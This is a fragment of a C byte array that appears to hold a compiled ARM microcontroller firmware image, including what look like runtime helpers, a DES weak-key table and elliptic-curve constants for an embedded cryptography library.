0xb0u, 0x33u, 0x1bu, 0x68u, 0x12u, 0x6au, 0x9bu, 0x18u, 0x1bu, 0x68u, 0x00u, 0x2bu, 0x0bu, 0xdbu, 0x04u, 0x23u,
0x0bu, 0x4au, 0x11u, 0x69u, 0x0bu, 0x43u, 0x13u, 0x61u, 0x01u, 0x2fu, 0x02u, 0xd0u, 0x30u, 0xbfu, 0x00u, 0x20u,
0xa8u, 0xe7u, 0x20u, 0xbfu, 0xfbu, 0xe7u, 0x00u, 0x20u, 0x03u, 0x4cu, 0xa4u, 0xe7u, 0xa0u, 0x05u, 0x00u, 0x08u,
0x34u, 0x07u, 0x00u, 0x08u, 0x68u, 0x05u, 0x00u, 0x08u, 0x05u, 0x00u, 0x42u, 0x00u, 0xffu, 0x00u, 0x42u, 0x00u,
0x00u, 0xedu, 0x00u, 0xe0u, 0xc0u, 0x22u, 0x80u, 0x20u, 0x06u, 0x49u, 0x52u, 0x00u, 0x8bu, 0x58u, 0xc0u, 0x05u,
0x9bu, 0x00u, 0x9bu, 0x08u, 0x03u, 0x43u, 0x8bu, 0x50u, 0x80u, 0x23u, 0x88u, 0x58u, 0x1bu, 0x06u, 0x03u, 0x43u,
0x8bu, 0x50u, 0x70u, 0x47u, 0x00u, 0x00u, 0x26u, 0x40u, 0x10u, 0xb5u, 0x07u, 0x49u, 0x07u, 0x48u, 0xffu, 0xf7u,
0x4fu, 0xf9u, 0x00u, 0x28u, 0xfdu, 0xd1u, 0x62u, 0xb6u, 0x05u, 0x48u, 0x00u, 0xf0u, 0x47u, 0xf9u, 0x00u, 0x20u,
0xffu, 0xf7u, 0x54u, 0xffu, 0xfbu, 0xe7u, 0xc0u, 0x46u, 0x38u, 0x07u, 0x00u, 0x08u, 0xfcu, 0x78u, 0x00u, 0x10u,
0x00u, 0x80u, 0x00u, 0x10u, 0x10u, 0xb5u, 0x00u, 0x20u, 0xffu, 0xf7u, 0x1eu, 0xfdu, 0x10u, 0xbdu, 0x70u, 0x47u,
0xf8u, 0xb5u, 0xe0u, 0x23u, 0x4eu, 0x4cu, 0x9bu, 0x00u, 0xe2u, 0x58u, 0x0fu, 0x23u, 0xd0u, 0x21u, 0x07u, 0x20u,
0x1au, 0x40u, 0x93u, 0x00u, 0x1bu, 0x19u, 0x89u, 0x00u, 0x59u, 0x58u, 0x01u, 0x40u, 0x65u, 0xd0u, 0x04u, 0x29u,
0x59u, 0xd0u, 0x48u, 0x48u, 0x00u, 0x2au, 0x65u, 0xd1u, 0xb2u, 0x23u, 0xb1u, 0x22u, 0x03u, 0x21u, 0xdbu, 0x00u,
0xd2u, 0x00u, 0xe5u, 0x58u, 0xa3u, 0x58u, 0xa6u, 0x58u, 0x1bu, 0x0fu, 0x36u, 0x0fu, 0x0bu, 0x40u, 0x0eu, 0x42u,
0x04u, 0xd0u, 0xa2u, 0x58u, 0x12u, 0x0fu, 0x0au, 0x40u, 0x01u, 0x2au, 0x01u, 0xd1u, 0xeau, 0x07u, 0x01u, 0xd4u,
0x03u, 0x2bu, 0x11u, 0xd1u, 0xb0u, 0x23u, 0x3cu, 0x4au, 0xdbu, 0x00u, 0xe6u, 0x58u, 0xa1u, 0x58u, 0xe5u, 0x58u,
0xc9u, 0x04u, 0xc9u, 0x0cu, 0x00u, 0xf0u, 0x46u, 0xf9u, 0xb3u, 0x03u, 0x9bu, 0x0bu, 0x58u, 0x43u, 0xe9u, 0x01u,
0xc9u, 0x0fu, 0x01u, 0x31u, 0x00u, 0xf0u, 0x3eu, 0xf9u, 0xe0u, 0x23u, 0x9bu, 0x00u, 0xe3u, 0x58u, 0x33u, 0x4au,
0x9bu, 0x06u, 0x9bu, 0x0fu, 0xd8u, 0x40u, 0x32u, 0x4bu, 0x18u, 0x60u, 0x32u, 0x4bu, 0xd4u, 0x58u, 0xd1u, 0x58u,
0x24u, 0x0au, 0x09u, 0x0eu, 0x01u, 0x31u, 0x00u, 0xf0u, 0x2du, 0xf9u, 0x2fu, 0x4bu, 0xe1u, 0xb2u, 0x18u, 0x60u,
0x01u, 0x31u, 0x00u, 0xf0u, 0x27u, 0xf9u, 0x2du, 0x4bu, 0x04u, 0x00u, 0x18u, 0x60u, 0x2cu, 0x4bu, 0x2du, 0x49u,
0x18u, 0x60u, 0x2du, 0x4bu, 0xc0u, 0x18u, 0x00u, 0xf0u, 0x1du, 0xf9u, 0xfau, 0x21u, 0x2bu, 0x4bu, 0x89u, 0x00u,
0x18u, 0x70u, 0x2bu, 0x4bu, 0xe0u, 0x18u, 0x00u, 0xf0u, 0x15u, 0xf9u, 0x2au, 0x4bu, 0x18u, 0x60u, 0x2au, 0x4bu,
0xc0u, 0x03u, 0x18u, 0x60u, 0xf8u, 0xbdu, 0xc0u, 0x21u, 0x1fu, 0x20u, 0x89u, 0x00u, 0x59u, 0x58u, 0x01u, 0x40u,
0x11u, 0x29u, 0x04u, 0xd1u, 0x80u, 0x20u, 0x00u, 0x02u, 0x9cu, 0xe7u, 0x24u, 0x48u, 0x9au, 0xe7u, 0xfau, 0x20u,
0xc0u, 0x01u, 0x97u, 0xe7u, 0x01u, 0x3au, 0x01u, 0x2au, 0xbeu, 0xd8u, 0x03u, 0x27u, 0x20u, 0x4au, 0x9eu, 0x58u,
0x20u, 0x4au, 0x99u, 0x58u, 0x9du, 0x58u, 0x2du, 0x0fu, 0x3du, 0x42u, 0x04u, 0xd0u, 0x9du, 0x58u, 0x2du, 0x0fu,
0x3du, 0x40u, 0x01u, 0x2du, 0x01u, 0xd1u, 0xf5u, 0x07u, 0x03u, 0xd4u, 0x89u, 0x00u, 0x89u, 0x0fu, 0x03u, 0x29u,
0xaau, 0xd1u, 0x9eu, 0x58u, 0x99u, 0x58u, 0x9du, 0x58u, 0x7fu, 0x23u, 0x33u, 0x40u, 0x1fu, 0x26u, 0x09u, 0x0au,
0x31u, 0x40u, 0x58u, 0x43u, 0x00u, 0xf0u, 0xdeu, 0xf8u, 0x29u, 0x0cu, 0x31u, 0x40u, 0x9au, 0xe7u, 0xc0u, 0x46u,
0x00u, 0x00u, 0x26u, 0x40u, 0x00u, 0x36u, 0x6eu, 0x01u, 0x84u, 0x05u, 0x00u, 0x00u, 0x00u, 0x00u, 0x20u, 0x40u,
0x88u, 0x00u, 0x00u, 0x08u, 0x08u, 0x10u, 0x00u, 0x00u, 0x8cu, 0x00u, 0x00u, 0x08u, 0x84u, 0x00u, 0x00u, 0x08u,
0x94u, 0x00u, 0x00u, 0x08u, 0x40u, 0x42u, 0x0fu, 0x00u, 0x3fu, 0x42u, 0x0fu, 0x00u, 0x9cu, 0x00u, 0x00u, 0x08u,
0xe7u, 0x03u, 0x00u, 0x00u, 0x98u, 0x00u, 0x00u, 0x08u, 0x90u, 0x00u, 0x00u, 0x08u, 0x00u, 0x12u, 0x7au, 0x00u,
0x3cu, 0x06u, 0x00u, 0x00u, 0xfcu, 0x05u, 0x00u, 0x00u, 0x10u, 0xb5u, 0x1du, 0x48u, 0xffu, 0xf7u, 0xc2u, 0xfau,
0xb0u, 0x22u, 0xe0u, 0x21u, 0x30u, 0x20u, 0x1bu, 0x4cu, 0xd2u, 0x00u, 0xa3u, 0x58u, 0x89u, 0x00u, 0x5bu, 0x00u,
0x5bu, 0x08u, 0xa3u, 0x50u, 0x63u, 0x58u, 0x83u, 0x43u, 0x63u, 0x50u, 0x80u, 0x23u, 0x5bu, 0x04u, 0xa3u, 0x50u,
0x15u, 0x4bu, 0x16u, 0x4au, 0xe2u, 0x50u, 0xa0u, 0x22u, 0x04u, 0x33u, 0x92u, 0x01u, 0xe2u, 0x50u, 0xffu, 0x22u,
0x13u, 0x4bu, 0xe2u, 0x50u, 0xffu, 0xf7u, 0xeeu, 0xfeu, 0xc0u, 0x22u, 0x01u, 0x21u, 0x52u, 0x00u, 0xa3u, 0x58u,
0x8bu, 0x43u, 0xa3u, 0x50u, 0xffu, 0xf7u, 0x13u, 0xffu, 0xffu, 0xf7u, 0x12u, 0xffu, 0x0du, 0x4au, 0x80u, 0x21u,
0x03u, 0x20u, 0xffu, 0xf7u, 0x71u, 0xfcu, 0x0cu, 0x48u, 0xffu, 0xf7u, 0x4cu, 0xfbu, 0x0bu, 0x4bu, 0x1bu, 0x68u,
0x4du, 0x33u, 0x1bu, 0x78u, 0x00u, 0x2bu, 0x02u, 0xd0u, 0x09u, 0x48u, 0xffu, 0xf7u, 0x77u, 0xfbu, 0x10u, 0xbdu,
0x48u, 0x78u, 0x00u, 0x10u, 0x00u, 0x00u, 0x26u, 0x40u, 0x84u, 0x05u, 0x00u, 0x00u, 0x01u, 0x00u, 0x02u, 0x00u,
0x8cu, 0x05u, 0x00u, 0x00u, 0xe8u, 0x04u, 0x00u, 0x08u, 0xb4u, 0x05u, 0x00u, 0x08u, 0x34u, 0x07u, 0x00u, 0x08u,
0x2cu, 0x79u, 0x00u, 0x10u, 0x90u, 0x23u, 0x03u, 0x4au, 0x5bu, 0x01u, 0xd0u, 0x58u, 0x03u, 0x23u, 0x18u, 0x40u,
0x70u, 0x47u, 0xc0u, 0x46u, 0x00u, 0x00u, 0x20u, 0x40u, 0x10u, 0xb5u, 0x90u, 0x24u, 0xf9u, 0xf7u, 0x3du, 0xfbu,
0x07u, 0x4bu, 0x64u, 0x01u, 0x1au, 0x59u, 0x07u, 0x49u, 0x11u, 0x40u, 0x07u, 0x4au, 0x0au, 0x43u, 0x1au, 0x51u,
0x10u, 0x22u, 0x59u, 0x68u, 0x11u, 0x42u, 0xfcu, 0xd0u, 0xf9u, 0xf7u, 0x33u, 0xfbu, 0x10u, 0xbdu, 0xc0u, 0x46u,
0x00u, 0x00u, 0x20u, 0x40u, 0xfcu, 0xffu, 0x00u, 0x00u, 0x01u, 0x00u, 0xfau, 0x05u, 0xf8u, 0xb5u, 0x90u, 0x25u,
0x0eu, 0x4cu, 0x6du, 0x01u, 0x07u, 0x00u, 0xf9u, 0xf7u, 0x20u, 0xfbu, 0x63u, 0x59u, 0x06u, 0x00u, 0xdbu, 0x43u,
0x9bu, 0x07u, 0x01u, 0xd1u, 0xffu, 0xf7u, 0xd8u, 0xffu, 0x80u, 0x23u, 0x9bu, 0x00u, 0xe7u, 0x50u, 0x63u, 0x59u,
0x07u, 0x4au, 0x1au, 0x40u, 0x07u, 0x4bu, 0x13u, 0x43u, 0x63u, 0x51u, 0x10u, 0x23u, 0x62u, 0x68u, 0x1au, 0x42u,
0xfcu, 0xd0u, 0x30u, 0x00u, 0xf9u, 0xf7u, 0x0du, 0xfbu, 0xf8u, 0xbdu, 0xc0u, 0x46u, 0x00u, 0x00u, 0x20u, 0x40u,
0xfcu, 0xffu, 0x00u, 0x00u, 0x03u, 0x00u, 0xfau, 0x05u, 0x02u, 0xb4u, 0x71u, 0x46u, 0x49u, 0x08u, 0x49u, 0x00u,
0x09u, 0x5cu, 0x49u, 0x00u, 0x8eu, 0x44u, 0x02u, 0xbcu, 0x70u, 0x47u, 0xc0u, 0x46u, 0x03u, 0xb4u, 0x71u, 0x46u,
0x49u, 0x08u, 0x40u, 0x00u, 0x49u, 0x00u, 0x09u, 0x5eu, 0x49u, 0x00u, 0x8eu, 0x44u, 0x03u, 0xbcu, 0x70u, 0x47u,
0x03u, 0xb4u, 0x71u, 0x46u, 0x49u, 0x08u, 0x40u, 0x00u, 0x49u, 0x00u, 0x09u, 0x5au, 0x49u, 0x00u, 0x8eu, 0x44u,
0x03u, 0xbcu, 0x70u, 0x47u, 0x00u, 0x22u, 0x43u, 0x08u, 0x8bu, 0x42u, 0x74u, 0xd3u, 0x03u, 0x09u, 0x8bu, 0x42u,
0x5fu, 0xd3u, 0x03u, 0x0au, 0x8bu, 0x42u, 0x44u, 0xd3u, 0x03u, 0x0bu, 0x8bu, 0x42u, 0x28u, 0xd3u, 0x03u, 0x0cu,
0x8bu, 0x42u, 0x0du, 0xd3u, 0xffu, 0x22u, 0x09u, 0x02u, 0x12u, 0xbau, 0x03u, 0x0cu, 0x8bu, 0x42u, 0x02u, 0xd3u,
0x12u, 0x12u, 0x09u, 0x02u, 0x65u, 0xd0u, 0x03u, 0x0bu, 0x8bu, 0x42u, 0x19u, 0xd3u, 0x00u, 0xe0u, 0x09u, 0x0au,
0xc3u, 0x0bu, 0x8bu, 0x42u, 0x01u, 0xd3u, 0xcbu, 0x03u, 0xc0u, 0x1au, 0x52u, 0x41u, 0x83u, 0x0bu, 0x8bu, 0x42u,
0x01u, 0xd3u, 0x8bu, 0x03u, 0xc0u, 0x1au, 0x52u, 0x41u, 0x43u, 0x0bu, 0x8bu, 0x42u, 0x01u, 0xd3u, 0x4bu, 0x03u,
0xc0u, 0x1au, 0x52u, 0x41u, 0x03u, 0x0bu, 0x8bu, 0x42u, 0x01u, 0xd3u, 0x0bu, 0x03u, 0xc0u, 0x1au, 0x52u, 0x41u,
0xc3u, 0x0au, 0x8bu, 0x42u, 0x01u, 0xd3u, 0xcbu, 0x02u, 0xc0u, 0x1au, 0x52u, 0x41u, 0x83u, 0x0au, 0x8bu, 0x42u,
0x01u, 0xd3u, 0x8bu, 0x02u, 0xc0u, 0x1au, 0x52u, 0x41u, 0x43u, 0x0au, 0x8bu, 0x42u, 0x01u, 0xd3u, 0x4bu, 0x02u,
0xc0u, 0x1au, 0x52u, 0x41u, 0x03u, 0x0au, 0x8bu, 0x42u, 0x01u, 0xd3u, 0x0bu, 0x02u, 0xc0u, 0x1au, 0x52u, 0x41u,
0xcdu, 0xd2u, 0xc3u, 0x09u, 0x8bu, 0x42u, 0x01u, 0xd3u, 0xcbu, 0x01u, 0xc0u, 0x1au, 0x52u, 0x41u, 0x83u, 0x09u,
0x8bu, 0x42u, 0x01u, 0xd3u, 0x8bu, 0x01u, 0xc0u, 0x1au, 0x52u, 0x41u, 0x43u, 0x09u, 0x8bu, 0x42u, 0x01u, 0xd3u,
0x4bu, 0x01u, 0xc0u, 0x1au, 0x52u, 0x41u, 0x03u, 0x09u, 0x8bu, 0x42u, 0x01u, 0xd3u, 0x0bu, 0x01u, 0xc0u, 0x1au,
0x52u, 0x41u, 0xc3u, 0x08u, 0x8bu, 0x42u, 0x01u, 0xd3u, 0xcbu, 0x00u, 0xc0u, 0x1au, 0x52u, 0x41u, 0x83u, 0x08u,
0x8bu, 0x42u, 0x01u, 0xd3u, 0x8bu, 0x00u, 0xc0u, 0x1au, 0x52u, 0x41u, 0x43u, 0x08u, 0x8bu, 0x42u, 0x01u, 0xd3u,
0x4bu, 0x00u, 0xc0u, 0x1au, 0x52u, 0x41u, 0x41u, 0x1au, 0x00u, 0xd2u, 0x01u, 0x46u, 0x52u, 0x41u, 0x10u, 0x46u,
0x70u, 0x47u, 0xffu, 0xe7u, 0x01u, 0xb5u, 0x00u, 0x20u, 0x00u, 0xf0u, 0x06u, 0xf8u, 0x02u, 0xbdu, 0xc0u, 0x46u,
0x00u, 0x29u, 0xf7u, 0xd0u, 0x76u, 0xe7u, 0x70u, 0x47u, 0x70u, 0x47u, 0xc0u, 0x46u, 0x00u, 0x23u, 0x10u, 0xb5u,
0x9au, 0x42u, 0x00u, 0xd1u, 0x10u, 0xbdu, 0xccu, 0x5cu, 0xc4u, 0x54u, 0x01u, 0x33u, 0xf8u, 0xe7u, 0x03u, 0x00u,
0x12u, 0x18u, 0x93u, 0x42u, 0x00u, 0xd1u, 0x70u, 0x47u, 0x19u, 0x70u, 0x01u, 0x33u, 0xf9u, 0xe7u, 0x00u, 0x00u,
0xf8u, 0xb5u, 0xc0u, 0x46u, 0xf8u, 0xbcu, 0x08u, 0xbcu, 0x9eu, 0x46u, 0x70u, 0x47u, 0xf8u, 0xb5u, 0xc0u, 0x46u,
0xf8u, 0xbcu, 0x08u, 0xbcu, 0x9eu, 0x46u, 0x70u, 0x47u, 0x01u, 0xb4u, 0x02u, 0x48u, 0x84u, 0x46u, 0x01u, 0xbcu,
0x60u, 0x47u, 0x00u, 0xbfu, 0x69u, 0x02u, 0x00u, 0x08u, 0x01u, 0x01u, 0x01u, 0x01u, 0x01u, 0x01u, 0x01u, 0x01u,
0xfeu, 0xfeu, 0xfeu, 0xfeu, 0xfeu, 0xfeu, 0xfeu, 0xfeu, 0x1fu, 0x1fu, 0x1fu, 0x1fu, 0x0eu, 0x0eu, 0x0eu, 0x0eu,
0xe0u, 0xe0u, 0xe0u, 0xe0u, 0xf1u, 0xf1u, 0xf1u, 0xf1u, 0x01u, 0x1fu, 0x01u, 0x1fu, 0x01u, 0x0eu, 0x01u, 0x0eu,
0x1fu, 0x01u, 0x1fu, 0x01u, 0x0eu, 0x01u, 0x0eu, 0x01u, 0x01u, 0xe0u, 0x01u, 0xe0u, 0x01u, 0xf1u, 0x01u, 0xf1u,
0xe0u, 0x01u, 0xe0u, 0x01u, 0xf1u, 0x01u, 0xf1u, 0x01u, 0x01u, 0xfeu, 0x01u, 0xfeu, 0x01u, 0xfeu, 0x01u, 0xfeu,
0xfeu, 0x01u, 0xfeu, 0x01u, 0xfeu, 0x01u, 0xfeu, 0x01u, 0x1fu, 0xe0u, 0x1fu, 0xe0u, 0x0eu, 0xf1u, 0x0eu, 0xf1u,
0xe0u, 0x1fu, 0xe0u, 0x1fu, 0xf1u, 0x0eu, 0xf1u, 0x0eu, 0x1fu, 0xfeu, 0x1fu, 0xfeu, 0x0eu, 0xfeu, 0x0eu, 0xfeu,
0xfeu, 0x1fu, 0xfeu, 0x1fu, 0xfeu, 0x0eu, 0xfeu, 0x0eu, 0xe0u, 0xfeu, 0xe0u, 0xfeu, 0xf1u, 0xfeu, 0xf1u, 0xfeu,
0xfeu, 0xe0u, 0xfeu, 0xe0u, 0xfeu, 0xf1u, 0xfeu, 0xf1u, 0x01u, 0x01u, 0x01u, 0x01u, 0x01u, 0x01u, 0x01u, 0x01u,
0xfeu, 0xfeu, 0xfeu, 0xfeu, 0xfeu, 0xfeu, 0xfeu, 0xfeu, 0x1fu, 0x1fu, 0x1fu, 0x1fu, 0x0eu, 0x0eu, 0x0eu, 0x0eu,
0xe0u, 0xe0u, 0xe0u, 0xe0u, 0xf1u, 0xf1u, 0xf1u, 0xf1u, 0x01u, 0x1fu, 0x01u, 0x1fu, 0x01u, 0x0eu, 0x01u, 0x0eu,
0x1fu, 0x01u, 0x1fu, 0x01u, 0x0eu, 0x01u, 0x0eu, 0x01u, 0x01u, 0xe0u, 0x01u, 0xe0u, 0x01u, 0xf1u, 0x01u, 0xf1u,
0xe0u, 0x01u, 0xe0u, 0x01u, 0xf1u, 0x01u, 0xf1u, 0x01u, 0x01u, 0xfeu, 0x01u, 0xfeu, 0x01u, 0xfeu, 0x01u, 0xfeu,
0xfeu, 0x01u, 0xfeu, 0x01u, 0xfeu, 0x01u, 0xfeu, 0x01u, 0x1fu, 0xe0u, 0x1fu, 0xe0u, 0x0eu, 0xf1u, 0x0eu, 0xf1u,
0xe0u, 0x1fu, 0xe0u, 0x1fu, 0xf1u, 0x0eu, 0xf1u, 0x0eu, 0x1fu, 0xfeu, 0x1fu, 0xfeu, 0x0eu, 0xfeu, 0x0eu, 0xfeu,
0xfeu, 0x1fu, 0xfeu, 0x1fu, 0xfeu, 0x0eu, 0xfeu, 0x0eu, 0xe0u, 0xfeu, 0xe0u, 0xfeu, 0xf1u, 0xfeu, 0xf1u, 0xfeu,
0xfeu, 0xe0u, 0xfeu, 0xe0u, 0xfeu, 0xf1u, 0xfeu, 0xf1u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x01u, 0x00u, 0x00u, 0x00u, 0xc0u, 0x00u, 0x00u, 0x00u, 0x36u, 0x73u, 0x00u, 0x10u, 0x00u, 0x00u, 0x00u, 0x00u,
0xe8u, 0x6eu, 0x00u, 0x10u, 0xccu, 0x6eu, 0x00u, 0x10u, 0x98u, 0x6eu, 0x00u, 0x10u, 0xb0u, 0x6eu, 0x00u, 0x10u,
0x68u, 0x6eu, 0x00u, 0x10u, 0x80u, 0x6eu, 0x00u, 0x10u, 0x02u, 0x00u, 0x00u, 0x00u, 0xe0u, 0x00u, 0x00u, 0x00u,
0x41u, 0x73u, 0x00u, 0x10u, 0x00u, 0x00u, 0x00u, 0x00u, 0x94u, 0x6fu, 0x00u, 0x10u, 0x74u, 0x6fu, 0x00u, 0x10u,
0x38u, 0x6fu, 0x00u, 0x10u, 0x54u, 0x6fu, 0x00u, 0x10u, 0x00u, 0x6fu, 0x00u, 0x10u, 0x1cu, 0x6fu, 0x00u, 0x10u,
0x03u, 0x00u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x4cu, 0x73u, 0x00u, 0x10u, 0x02u, 0x00u, 0x00u, 0x00u,
0x58u, 0x70u, 0x00u, 0x10u, 0x34u, 0x70u, 0x00u, 0x10u, 0xf0u, 0x6fu, 0x00u, 0x10u, 0x10u, 0x70u, 0x00u, 0x10u,
0xb0u, 0x6fu, 0x00u, 0x10u, 0xd0u, 0x6fu, 0x00u, 0x10u, 0x04u, 0x00u, 0x00u, 0x00u, 0x80u, 0x01u, 0x00u, 0x00u,
0x57u, 0x73u, 0x00u, 0x10u, 0x02u, 0x00u, 0x00u, 0x00u, 0x70u, 0x71u, 0x00u, 0x10u, 0x3cu, 0x71u, 0x00u, 0x10u,
0xd8u, 0x70u, 0x00u, 0x10u, 0x08u, 0x71u, 0x00u, 0x10u, 0x78u, 0x70u, 0x00u, 0x10u, 0xa8u, 0x70u, 0x00u, 0x10u,
0x05u, 0x00u, 0x00u, 0x00u, 0x09u, 0x02u, 0x00u, 0x00u, 0x62u, 0x73u, 0x00u, 0x10u, 0x00u, 0x00u, 0x00u, 0x00u,
0xf4u, 0x72u, 0x00u, 0x10u, 0xb0u, 0x72u, 0x00u, 0x10u, 0x28u, 0x72u, 0x00u, 0x10u, 0x6cu, 0x72u, 0x00u, 0x10u,
0xa0u, 0x71u, 0x00u, 0x10u, 0xe4u, 0x71u, 0x00u, 0x10u, 0x12u, 0x10u, 0xffu, 0x82u, 0xfdu, 0x0au, 0xffu, 0xf4u,
0x00u, 0x88u, 0xa1u, 0x43u, 0xebu, 0x20u, 0xbfu, 0x7cu, 0xf6u, 0x90u, 0x30u, 0xb0u, 0x0eu, 0xa8u, 0x8du, 0x18u,
0x11u, 0x48u, 0x79u, 0x1eu, 0xa1u, 0x77u, 0xf9u, 0x73u, 0xd5u, 0xcdu, 0x24u, 0x6bu, 0xedu, 0x11u, 0x10u, 0x63u,
0x78u, 0xdau, 0xc8u, 0xffu, 0x95u, 0x2bu, 0x19u, 0x07u, 0x31u, 0x28u, 0xd2u, 0xb4u, 0xb1u, 0xc9u, 0x6bu, 0x14u,
0x36u, 0xf8u, 0xdeu, 0x99u, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xcfu, 0xd7u, 0x2du, 0x4bu, 0x4eu, 0x36u, 0x94u, 0xebu, 0xc9u, 0x07u, 0x21u, 0x66u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xfeu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0x21u, 0x1du, 0x5cu, 0x11u, 0xd6u, 0x80u, 0x32u, 0x34u, 0x22u, 0x11u, 0xc2u, 0x56u, 0xd3u, 0xc1u, 0x03u, 0x4au,
0xb9u, 0x90u, 0x13u, 0x32u, 0x7fu, 0xbfu, 0xb4u, 0x6bu, 0xbdu, 0x0cu, 0x0eu, 0xb7u, 0x34u, 0x7eu, 0x00u, 0x85u,
0x99u, 0x81u, 0xd5u, 0x44u, 0x64u, 0x47u, 0x07u, 0x5au, 0xa0u, 0x75u, 0x43u, 0xcdu, 0xe6u, 0xdfu, 0x22u, 0x4cu,
0xfbu, 0x23u, 0xf7u, 0xb5u, 0x88u, 0x63u, 0x37u, 0xbdu, 0x3du, 0x2au, 0x5cu, 0x5cu, 0x45u, 0x29u, 0xddu, 0x13u,
0x3eu, 0xf0u, 0xb8u, 0xe0u, 0xa2u, 0x16u, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0xc3u, 0xd5u, 0xa3u, 0xa3u, 0xbau, 0xd6u, 0x22u, 0xecu, 0xc1u, 0x0fu, 0x47u, 0x1fu,
0x5du, 0xe9u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x01u, 0x00u, 0x00u, 0x00u, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x01u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0x96u, 0xc2u, 0x98u, 0xd8u, 0x45u, 0x39u, 0xa1u, 0xf4u, 0xa0u, 0x33u, 0xebu, 0x2du, 0x81u, 0x7du, 0x03u, 0x77u,
0xf2u, 0x40u, 0xa4u, 0x63u, 0xe5u, 0xe6u, 0xbcu, 0xf8u, 0x47u, 0x42u, 0x2cu, 0xe1u, 0xf2u, 0xd1u, 0x17u, 0x6bu,
0xf5u, 0x51u, 0xbfu, 0x37u, 0x68u, 0x40u, 0xb6u, 0xcbu, 0xceu, 0x5eu, 0x31u, 0x6bu, 0x57u, 0x33u, 0xceu, 0x2bu,
0x16u, 0x9eu, 0x0fu, 0x7cu, 0x4au, 0xebu, 0xe7u, 0x8eu, 0x9bu, 0x7fu, 0x1au, 0xfeu, 0xe2u, 0x42u, 0xe3u, 0x4fu,
0x51u, 0x25u, 0x63u, 0xfcu, 0xc2u, 0xcau, 0xb9u, 0xf3u, 0x84u, 0x9eu, 0x17u, 0xa7u, 0xadu, 0xfau, 0xe6u, 0xbcu,
0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0x00u, 0x00u, 0x00u, 0x00u, 0xffu, 0xffu, 0xffu, 0xffu,
0xfeu, 0x9bu, 0xdfu, 0xeeu, 0x85u, 0xfdu, 0x2fu, 0x01u, 0x21u, 0x6cu, 0x1au, 0xdfu, 0x52u, 0x05u, 0x19u, 0x43u,
0xffu, 0xffu, 0xffu, 0xffu, 0xfeu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0x00u, 0x00u, 0x00u, 0x00u,
0x01u, 0x00u, 0x00u, 0x00u, 0x03u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0xffu, 0xffu, 0xffu, 0xffu,
0xfeu, 0xffu, 0xffu, 0xffu, 0xfeu, 0xffu, 0xffu, 0xffu, 0xfeu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0x00u, 0x00u, 0x00u, 0x00u, 0x01u, 0x00u, 0x00u, 0x00u, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu, 0xffu,
0xffu, 0xffu, 0xffu, 0xffu, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x01u, 0x00u, 0x00u, 0x00u, 0xffu, 0xffu, 0xffu, 0xffu, 0xb7u, 0x0au, 0x76u, 0x72u, 0x38u, 0x5eu, 0x54u, 0x3au,
0x6cu, 0x29u, 0x55u, 0xbfu, 0x5du, 0xf2u, 0x02u, 0x55u, 0x38u, 0x2au, 0x54u, 0x82u, 0xe0u, 0x41u, 0xf7u, 0x59u,
0x98u, 0x9bu, 0xa7u, 0x8bu, 0x62u, 0x3bu, 0x1du, 0x6eu, 0x74u, 0xadu, 0x20u, 0xf3u, 0x1eu, 0xc7u, 0xb1u, 0x8eu,
0x37u, 0x05u, 0x8bu, 0xbeu, 0x22u, 0xcau, 0x87u, 0xaau, 0x5fu, 0x0eu, 0xeau, 0x90u, 0x7cu, 0x1du, 0x43u, 0x7au,
0x9du, 0x81u, 0x7eu, 0x1du, 0xceu, 0xb1u, 0x60u, 0x0au, 0xc0u, 0xb8u, 0xf0u, 0xb5u, 0x13u, 0x31u, 0xdau, 0xe9u,
